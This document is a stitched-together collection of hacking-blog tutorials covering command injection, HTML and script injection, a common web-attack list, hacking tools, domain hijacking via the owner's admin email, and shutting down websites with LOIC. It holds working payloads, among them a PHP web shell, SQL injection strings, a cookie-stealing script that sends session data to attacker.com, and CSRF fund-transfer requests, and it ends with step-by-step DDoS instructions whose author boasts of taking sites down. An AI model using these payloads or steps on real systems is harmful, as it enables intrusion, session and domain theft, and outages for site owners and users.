How to Perform Command Injection Attacks

Introduction: Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.
How to Perform Command Injection Attacks
In this artick, we will talk about the varieties of command injections and how they can be executed. There are a variety of ways to inject shell commands. Assume for a moment that you have found the page, which takes as an argument a filename as input and executes the shell command "cat" against that file. For example, a semicolon was used to separate out one command form another, to indicate that after the cat command completed, another function should be called in the same line. There are a number of ways to string shell commands together to create new commands.
Here are the common operators you can use, as well as examples of how they might be used in an attack:

---

Redirection Operators

---

Examples: <, >>, >
These operators redirect either input or output somewhere else on the server. < will make whatever comes after it standard input. Replacing the filename with < filename will not change the output, but could be used to avoid some filters. > redirects command output, and can be used to modify files on the server, or create new ones altogether. Combined with the cat command, it could easily be used to add unix users to the system, or deface the website. Finally, >> appends text to a file and is not much different from the original output modifier, but again can be used to avoid some simplistic detection schemes.

---

Pipes

---

Examples: |
Pipes allow the user to chain multiple commands. It will redirect the output of one command into the next. So you can run unlimited commands by chaining them with multiple pipes, such as cat file1 | grep "string".

---

Inline commands

---

Examples: ;, $
This is the original example. Putting a semicolon asks the command line to execute everything before the semicolon, then execute everything else as if on a fresh command line.

---

Logical Operators

---

Examples: $, &&, ||
These operators perform some logical operation against the data before and after them on the command line.
Common Injection Patterns & Results
Here are the expected results from a number of common injection patterns (appending the below to a given input string, assuming all quotes are correctly paired:

`shell_command` - executes the command
$(shell_command) - executes the command
| shell_command - executes the command and returns the output of the command
|| shell_command - executes the command and returns the output of the command
; shell_command - executes the command and returns the output of the command
&& shell_command executes the command and returns the output of the command
> target_file - overwrites the target file with the output of the previous command
>> target_file - appends the target file with the output of the previous command
< target_file - send contents of target_file to the previous command
- operator - Add additional operations to target command

These examples are only scratching the surface of possible command injection vectors. The full breadth of attack possibilities is dependent upon the underlying function calls. For instance, if an underlying function is using a shell program such as awk, many more attack possibilities arise than laid out here.
Finally, command injection can be more subtle than finding applications which directly call underlying operating system functions. If it is possible to inject code, say PHP code, then you can also perform command injections. Assume you find an application with a PUT vulnerability on a site which is PHP enabled. An attacker could simply upload a PHP file with a single line to have full access to a shell:

<?php
echo
shell_exec('cat '.$_GET[
'command']);
?>

Thus, it should be noted that many types of attacks, including SQL Injection, have shell injection as an end primary goal to gaining control of the server.

HTML Code Injection Technique

Introduction: This article is about HTML injection techniques used to exploit web site vulnerabilities. Nowadays, it's not usual to find a completely vulnerable site to this type of attacks, but only one is enough to exploit it. I'll make a compilation of these techniques all together, in order to facilitate the reading and to make it entertaining. HTML injection is a type of attack focused upon the way HTML content is generated and interpreted by browsers at client side. Otherwise, JavaScript is a widely used technology in dynamic web sites, so the use of techniques based on this, like injection, complements the nomenclature of 'codeinjection'.

---

Code Injection

---

This type of attack is possible by the way the client browser has the ability to interpret scripts embedded within HTMLcontent enabled by default, so if an attacker embeds script tags such <SCRIPT> , <OBJECT> , <APPLET> , or <EMBED> into a web site, the web browser's JavaScript engine will execute it. Typical targets of this type of injection are forums, guestbooks, or whatever section where the administrator allows the insertion of text comments; if the design of the web site isn't parsing the comments inserted, and takes < or > as real chars, a malicious user could type:

I like this site because <script>alert('Injected!');</script> teaches me a lot

If it works and you can see the message box, the door is opened to the attacker's imagination limits! A common code insertion used to drive navigation to another website is something like this:

<H1> Vulnerability test </H1> <METAHTTP-EQUIV="refresh"CONTENT="1;url= http://www.test.com">

Same within a
<FK> or <LI> tag:

<FKSTYLE="behavior: url(http://<<Other website>> ;">

Other tags used to execute malicious JavaScript code are, for example, <BR> , <DIV> , even background-image:

<BRSIZE="&{alert('Injected')}"><DIVSTYLE="background-image: url(javascript:alert('Injected'))">

The <title> tag is a common weak point if it's generated dynamically. For example, suppose this situation:

<HTML>
<HEAD>
<TITLE>
<?php
echo$_GET['titulo']; ?</TITLE> </HEAD> <BODY> > ...
</BODY>
</HTML>

If you build title as 'example </title> </head> </body><img src= http://myImage.png>' HTML resulting would insert the 'myImage.png' image first of all:

<HTML>
<HEAD>
<TITLE>
example
</TITLE>
</HEAD>
<BODY><imgsrc= http://myImage.png></TITLE> </HEAD> <BODY>...
</BODY>
</HTML>

There is another dangerous HTML tag that could exploit a web browser's frames support characteristic: <IFRAME> This tag allows (within Sandbox security layer) cross-scripting exploiting using web browser elements (address bar or bookmarks, for example), but this theme is outside the scope of this article.

10 Most Popular Ways Hackers Hack Your Website

Here are the 10 most popular ways they can threaten the security of your site.

---

1. Injection Attacks

---

Injection Attacking occurs when there are flaws in your SQL Database, SQL libraries, or even the operating system itself. Employees open seemingly credible files with hidden commands, or injections, unknowingly. In doing so, they’ve allowed hackers to gain unauthorized access to private data such as social security numbers, credit card number or other financial data. Technical Injection Attack Example: An Injection Attack could have this command line:

String query = “SELECT * FROM accounts WHERE custID='” request.getParameter( “id”) ”‘”;

The hacker modifies the ‘id’ parameter in their browser to send: ‘ or ‘1’=’1 This changes the meaning of the query to return all the records from the accounts database to the hacker, instead of only the intended customers.

---

2. Cross Site Scripting Attacks

---

XSS attack, occurs when an application, url “get request”, or file packet is sent to the web browser window and bypassing the validation process. Once an XSS script is triggered, it’s deceptive property makes users believe that the compromised page of a specific website is legitimate. For example, if www.example.com/abcd.html has XSS script in it, the user might see a popup window asking for their credit card info and other sensitive info. Technical Cross Site Scripting Example:

(String) page = “<input name=’creditcard’ type=’TEXT’ value='” request.getParameter( “CC”) “‘>”;

The attacker modifies the CC parameter in their browser to:

‘><script>document.location=’ http://www.attacker.com/cgi-bin/cookie.cgi?foo=’document.cookie</script>’

This causes the user’s session ID to be sent to the attacker’s website, allowing the hacker to hijack the user’s current session. That means the hacker has access to the website admin credentials and can take complete control over it.

---

3. Broken Authentication and Session Management Attacks

---

If the user authentication system of your website is weak, hackers can take full advantage. Authentication systems involve passwords, key management, session IDs, and cookies that can allow a hacker to access your account from any computer (as long as they are valid). If a hacker exploits the authentication and session management system, they can assume the user’s identity.

Ask yourself these questions to find out if your website is vulnerable to a broken authentication and session management attack:

*. Are user credentials weak? *. Can credentials be guessed or overwritten through weak account management functions? *. Are session IDs exposed in the URL? *. Are session IDs vulnerable to session fixation attacks? *. Do session IDs timeout and can users log out? If you answered “yes” to any of these questions, your site could be vulnerable to a hacker.

---

4. Clickjacking Attacks

---

Clickjacking, also called a UI Redress Attack, is when a hacker uses multiple opaque layers to trick a user into clicking the top layer without them knowing. Thus the attacker is “hijacking” clicks that are not meant for the actual page, but for a page where the attacker wants you to be. For example, using a carefully crafted combination of style sheets, iframes, and text boxes, a user can be led to believe they are typing in the password for their bank account, but are actually typing into an invisible frame controlled by the attacker. Clickjacking Example: Here’s a live, but safe example of how clickjacking works: [CLICK HERE TO SEE EXAMPLE]

---

5. DNS Cache Poisoning

---

DNS Cache Poisoning involves old cache data that you might think you no longer have on your computer, but is actually “toxic” Also known as DNS Spoofing, hackers can identify vulnerabilities in a domain name system, which allows them to divert traffic from legit servers to a fake website and/or server. This form of attack can spread and replicate itself from one DNS server to another DNS, “poisoning” everything in it’s path. In fact, in 2010, a DNS poisoning attack completely compromised the Great Firewall of China (GFC) temporarily and censored certain content in the United States until the problem was fixed.

---

6. Social Engineering Attacks

---

A social engineering attack is not technically a “hack” It happens when you divulge private information in good faith, such as a credit card number, through common online interactions such as email, chat, social media sites, or virtually any website. The problem, of course, is that you’re not getting into what you think you’re getting into. A classic example of a social engineering attack is the “Microsoft tech support” scam. This is when someone from a call center pretends to be a MS tech support member who says that your computer is slow and/or infected, and can be easily fixed – at a cost, of course. Here’s an article from Wired.com on how a security expert played along with so-called Microsoft tech support person.

---

7. Symlinking: An Insider Attack

---

A symlink is basically a special file that “points to” a hard link on a mounted file system. A symlinking attack occurs when a hacker positions the symlink in such a way that the user or application that access the endpoint thinks they’re accessing the right file when they’re really not. If the endpoint file is an output, the consequence of the symlink attack is that it could be modified instead of the file at the intended location. Modifications to the endpoint file could include appending, overwriting, corrupting, or even changing permissions. In different variations of a symlinking attack a hacker may be able to control the changes to a file, grant themselves advanced access, insert false information, expose sensitive information or corrupt or destroy vital system or application files.

---

8. Cross Site Request Forgery Attacks

---

A Cross Site Request Forgery Attack happens when a user is logged into a session (or account) and a hacker uses this opportunity to send them a forged HTTP request to collect their cookie information. In most cases, the cookie remains valid as long as the user or the attacker stays logged into the account. This is why websites ask you to log out of your account when you’re finished, it will expire the session immediately. In other cases, once the user’s browser session is compromised, the hacker can generate requests to the application that will not be able to differentiate between a valid user and a hacker. A Cross Site Attack Examples:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
<img src=”>span  style=”color: red;”>
http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#</span>” width=”0″ height=”0″ />

In this case the hacker creates a request that will transfer money from a user’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

---

9. Remote Code Execution Attacks

---

A Remote Code Execution attack is a result of either server side or client side security weaknesses. Vulnerable components may include libraries, remote directories on a server that haven’t been monitored, frameworks, and other software modules that run on the basis of authenticated user access. Applications that use these components are always under attack through things like scripts, malware, and small command lines that extract information. The following vulnerable components were downloaded 22 million times in 2011: Apache CXF Authentication Bypass

(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451)

By failing to provide an identity token, attackers could invoke any web service with full permission.

---

10. DDoS Attack: Distributed Denial Of Service Attack

---

DDoS or Distributed Denial of Services, is where a server or a machine’s services are made unavailable to its users. And when the system is offline, the hacker proceeds to either compromise the entire website or a specific function of a website to their own advantage. It’s kind of like having your car stolen when you really need to get somewhere fast. The usual agenda of a DDoS campaign is to temporarily interrupt or completely take down a successfully running system. The most common example of a DDoS attack could be sending tons of URL requests to a website or a webpage in a very small amount of time. This causes bottlenecking at the server side because the CPU just ran out of resources. Denial-of-service attacks are considered violations of the Internet Architecture Board’s Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers.

Top 10 Most Hacking Techniques and Tools

We timely provides you hacking techniques, methods and tutorials, so that you can understand how hackers gain access into your networks, websites, computers etc.
Here I have listed the top 10 most popular tools used in hacking. It is advisable to master these tools to learn Cyber security.

Read Also:-Hack Any Remote PC By IP Address Using Kali Linux

---

1. Nmap

---

Nmap is also known as the swiss army knife of hacking. It is the best port scanner with a lot of functions. In hacking, Nmap is usually used in the footprinting phase to scan the ports of the remote computer to find out wich ports are open.

---

2. WireShark

---

Not to be confused with WireLurker? WireShark is a packet sniffer. It captures all network traffic going through a network adapter. When performing man in the middle attacks using tools like Cain, we can use Wireshark to capture the traffic and analyze it for critical info like usernames and passwords. It is used by network administrators to perform network troubleshooting.

Read Also:-Hacking Facebook Using Man in the Middle Attack

---

3. Cain and Abel

---

Cain and Abel is a multipurpose windows only hacking tool. It is a bit old now, but it still does the job well. Cain can be used to crack windows password, perform man in the middle attacks, capture network passwords etc.

---

4. Metasploit

---

Metasploit is a huge database of exploits. There are thousands of exploit codes, payloads that can be used to attack web servers or any computer for that matter. This is the ultimate hacking tool that will allow a hacker to actually hack a computer. A hacker will be able to get root access to the remote computer and plant backdoors or do any other stuff. It is best to use metasploit under linux.

---

5. Burp Suite

---

Burp suite is a web proxy tool that can be used to test web application security. It can brute force any login form in a browser. You can edit or modify GET and POST data before sending it to the server. It can also be used to automatically detect SQL injection vulnerabilities. It is a good tool to use both under Windows and Linux environments.

---

6. Aircrack-ng

---

Aircrack-ng is a set of tools that are used to crack wifi passwords. Using a combination of the tools in aircrack, you can easily crack WEP passwords. WPA passwords can be cracked using dictionary or brute force. Although aircrack-ng is available for Windows, it is best to use it under Linux environment. There are many issues if you use it under Windows environment.

---

7. Nessus

---

Nessus is a comprehensive automatic vulnerability scanner. You have to give it an IP address as input and it will scan that IP address to find out the vulnerabilities in that system. Once you know the vulnerabllities, you can use metasploit to exploit the vulnerablity. Nessus works both in Windows and Linux.

---

8. THC Hydra

---

Hydra is a fast password cracker tool. It cracks passwords of remote systems through the network. It can crack passwords of many protocols including ftp,http, smtp etc. You have the option to supply a dictionary file which contains possible passwords. It is best to use hydra under linux environment.

---

9. Netcat

---

Netcat is a great networking utility which reads and writes data across network connections, using the TCP/IP protocol. It is also known as the swiss army knife for TCP/IP. This is because netcat is extremely versatile and can perform almost anything related to TCP/IP. In a hacking scenario, it can be used as a backdoor to access hacked computers remotely. The use of netcat is limited only by the user's imagination.

---

10. Putty

---

Although putty is not a hacking software by itself, it is a very useful tool for a hacker. It is a client for SSH and telnet, which can be used to connect to remote computers. You may use putty when you want to connect to your Backtrack machine from your Windows PC. It can also be used to perform SSH tunneling to bypass firewalls.
Note: This list is not comprehensive. There are many tools that I have left out. Those tools that did not make the list are; Sqlmap, Havij, Acunetix Web Scanner

How a Domain Name Gets Hijacked and How to Protect it

Domain hijacking is a process by which Internet Domain Names are stolen from its legitimate owners. Before we can proceed to know how to hijack domain names, it is necessary to understand how the domain names operate and how they get associated with a particular web server.
The Operation of a Domain Name:
Any website say for example 123.com consists of two parts. The domain name 123.com and the web hosting server where the files of the website are actually hosted. In reality, the domain name and the web hosting server are two different parts and hence they must be integrated before a website can operate successfully. The integration of domain name with the web hosting server is done as follows:
1. After registering a new domain name, we get a Cpanel where in we can have a full control of the domain.
2. From this domain Cpanel, we point our domain name to the web server where the website’s data are actually hosted.
For a clear understanding let me take up a small example:
John registers a new domain called 123.com from an X domain registration company. He also purchases a hosting plan from Y hosting company. He uploads all of his files .html, .php, javascripts etc. to his web server at Y. From the domain control panel of X he configures his domain name 123.com to point to his web server of Y. Now, whenever an Internet user types 123.com, the domain name 123.com is resolved to the target web server and the web page is displayed. This is how a website actually works.
What Happens When a Domain Name Gets Hijacked?
Now, let us see what happens when a domain name gets hijacked. To hijack a domain name, you just need to gain access to the domain Cpanel and point the domain name to some other web server other than the original one. So, to hijack a domain you need not gain access to the target web server. For example, a hacker gets access to the domain Cpanel of 123.com. From here the hacker re-configures the domain name to point it to some other web server Z. Now whenever an Internet user tries to access 123.com he is taken to the hacker’s website Z and not to John’s original site Y. In this case the John’s domain name 123.com is said to be hijacked.
How the Domain Names are Hijacked?
To hijack a domain name, it is necessary to gain access to the domain Cpanel of the target domain. For this you need the following ingredients:
1. The domain registrar name for the target domain.
2. The administrative email address associated with the target domain.
These information can be obtained by accessing the WHOIS data of the target domain. To get access to the WHOIS data, go to whois.domaintools.com, enter the target domain name and click on Lookup and you’ll see Whois Record. Under this, you’ll get the administrative contact email address. To get the domain registrar name, look for the words something like: Registered through:: XYZ Company. Here XYZ Company is the domain registrar. In case if you do not find this, scroll up and you’ll see ICANN Registrar under the Registry Data. In this case, the ICANN registrar is the actual domain registrar. The administrative email address associated with the domain is the backdoor to hijack the domain name. It is the key to unlock the domain control panel. So, to take full control of the domain, the hacker will have to hack the administrative email associated with it. Email hacking has been discussed in my earlier post How to hack Into Emails Using Kali Linux
Once the hacker takes full control of this email account, he will visit the domain registrar’s website and click on forgot password in the login page. There, he will be asked to enter either the domain name or the administrative email address to initiate the password reset process. Once this is done, all the details to reset the password will be sent to the administrative email address. Since the hacker has the access to this email account, he can easily reset the password of domain control panel. After resetting the password, he logs into the control panel with the new password and from there he can hijack the domain within minutes.
How to Protect the Domain Name from Getting Hijacked?
The best way to protect the domain name is to protect the administrative email account associated with the domain. If you loose this email account, you loose your domain. Another best way to protect your domain is to go for a private domain registration. When you register a domain name using the private registration option, all your personal details such as your name, address, phone and administrative email address are hidden from the public.

Shut down a Website With DDoS Attack

---

What is a Denial of Service Attack?

---

In computing, adenial-of-service (DoS) or distributed denial-of-service (DDoS) attackis an attempt to More Here

---

Types of denial of service attacks

---

There are several general categories of DoS attacks. Popularly, the attacks are divided into three classes:

Bandwidth Attacks

Protocol Attacks

Logic Attacks

---

What is Distributed Denial of Service Attack?

---

In DDOS attack, The attacker launches the attack using several machines. In this case, an attacker breaks into several machines, or coordinates with several zombies to launch an attack against a target or network at the same time. This makes it difficult to detect because attacks originate from several IP addresses. If a single IP address is attacking a company, it can block that address at its firewall. If it is 20000 this is extremely difficult.

---

Damages made By Denial of service attack

---

Over past years Denial of service attack has made huge amount of damage, Many of the have been victimed of this attack. This attack also hit Twitter and Facebook in past years, lot of people had trouble on logging on twitter and Facebook It was brought down by denial of service attack, They tired up there server so no one can get on log on it. Now i will show you how you can shut down a website with Denial of service attack. For this tutorial we will be using one of the most effective and one of the least known tools called Low Orbit Ion Cannon this program is one of the best for DDoS'ing, and I have successfully used it to DDoS websites. An internet connection as bad as mine (2,500 kb/s) was able to keep a site down for a day with this program running.
Remember that this tool will work best with high internet speeds, and try not to go for impossible targets like Google, Myspace,Yahoo. LOIC is used on a single computer, but with friends it's enough to give sites a great deal of downtime.
Pre-requisites: Download LOIC (Low Orbit Ion Cannon). Open up LOIC.

I am not giving a download link because then i will be accused for exiting hackers, try goggling

Step 1: Type the target URL in the URL box.
Step 2: Click lock on.
Step 3: Change the threads to 9001 for maximum efficiency.
Step 4: Click the big button
Feel free to tweak around with these settings and play around with the program to get the best performance. Then minimize and go do whatever you need to do, the program will take care of the rest!